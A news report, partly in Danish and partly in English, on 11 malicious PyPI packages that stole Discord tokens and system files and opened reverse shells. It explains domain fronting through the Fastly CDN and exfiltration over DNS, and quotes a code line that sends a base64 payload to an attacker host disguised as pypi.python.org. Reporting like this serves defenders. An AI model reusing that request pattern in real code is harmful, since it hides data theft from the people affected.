Malicious libraries using the PyPI CDN to conceal their communication channel have been identified in the PyPI catalog

I kataloget PyPI (Python Package Index) er der identificeret 11 pakker, der indeholder skadelig kode. Før problemerne blev opdaget, blev pakkerne downloadet omkring 38 tusinde gange. De identificerede skadelige pakker er bemærkelsesværdige for deres brug af snedige metoder til at skjule kommunikationskanaler med angribernes servere.

  • importantpackage (6305 downloads), important-package (12897) - etablerede forbindelse til en ekstern server under dække af at være forbundet til pypi.python.org for at give shell-adgang til systemet (reverse shell) og brugte programmet trevorc2 til at skjule kommunikationskanalen.
  • pptest (10001), ipboards (946) - brugte DNS som kommunikationskanal til at videregive systemoplysninger (i den første pakke, værtens navn, arbejdsmappe, intern og ekstern IP, i den anden - brugernavn og værtens navn).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificerede Discord-tjenestetokenet i systemet og sendte det til en ekstern vært.
  • trrfab (287) - sendte til den eksterne vært, identifikatoren, værtens navn og indholdet af /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) - etablerede en reverse shell-forbindelse til en ekstern vært.
  • yandex-yt (4183) - viste en besked om systemkompromittering og omdirigerede til en side med yderligere information om de næste trin, givet via nda.ya.ru (api.ya.cc).

Metoden til at kommunikere med eksterne værter, som anvendes i pakkerne importantpackage og important-package, fortjener særlig opmærksomhed. De benyttede et indholdsforsyningsnetværk (CDN) ved navn Fastly til at skjule deres aktivitet i kataloget PyPI. Faktisk blev forespørgsler sendt til serveren pypi.python.org (inklusiv angivelse af python.org i SNI inden for HTTPS-forespørgslen), mens HTTP-headeren "Host" blev indstillet til navnet på serveren, der var under angribernes kontrol (sec.forward.io.global.prod.fastly.net). Indholdsforsyningsnetværket videresendte en sådan forespørgsel til angriberens server ved at bruge TLS-forbindelsesparametre med pypi.python.org.

Driften af PyPI-infrastrukturen sikres ved hjælp af et indholdsleveringsnetværk (CDN) kaldet Fastly, hvor typiske forespørgsler caches ved hjælp af en gennemsigtig proxy Varnish, samt TLS-certifikater behandles på CDN-niveau, i stedet for ved slutserverne, for at muliggøre videresendelse af HTTPS-forespørgsler gennem proxyen. Uanset målværten ledes forespørgslerne til proxyen, der bestemmer den nødvendige vært ud fra HTTP-headeren "Host", og domænenavne Hosts are linked to standard IP addresses of CDN load balancers for all Fastly clients.

The attacking server is also registered in the Fastly CDN, which offers free plans to anyone and even allows anonymous registration. Notably, when creating a 'reverse shell', the same scheme is used to send requests to the victim, but initiated from the host of the attackers. From this side, interaction with the attacking server appears as a legitimate session with the PyPI catalog, encrypted using. TLS certificate PyPI. This technique, known as 'domain fronting', was previously used to hide the host name when bypassing blocks, utilizing the ability provided in some CDN networks to connect via HTTPS while specifying a fake host in the SNI and actually sending the requested host name in the Host HTTP header within the TLS session.

Malicious libraries using the PyPI CDN to conceal their communication channel have been identified in the PyPI catalog

To hide malicious activity, the TrevorC2 package was additionally used, making interaction with the server resemble ordinary web navigation; for example, malicious requests were sent under the guise of downloading an image 'https://pypi.python.org/images/?guid=' with information encoded in the guid parameter. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})

In the pptest and ipboards packages, a different approach was used to conceal network activity, based on encoding useful information in requests to the DNS server. The malware transmits information by performing DNS requests of the form 'nu4timjagq4fimbuhe.example.com', where the data sent to the control server is encoded in the subdomain name using base64 format. The attacker receives the message data by controlling the DNS server for the domain example.com.

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster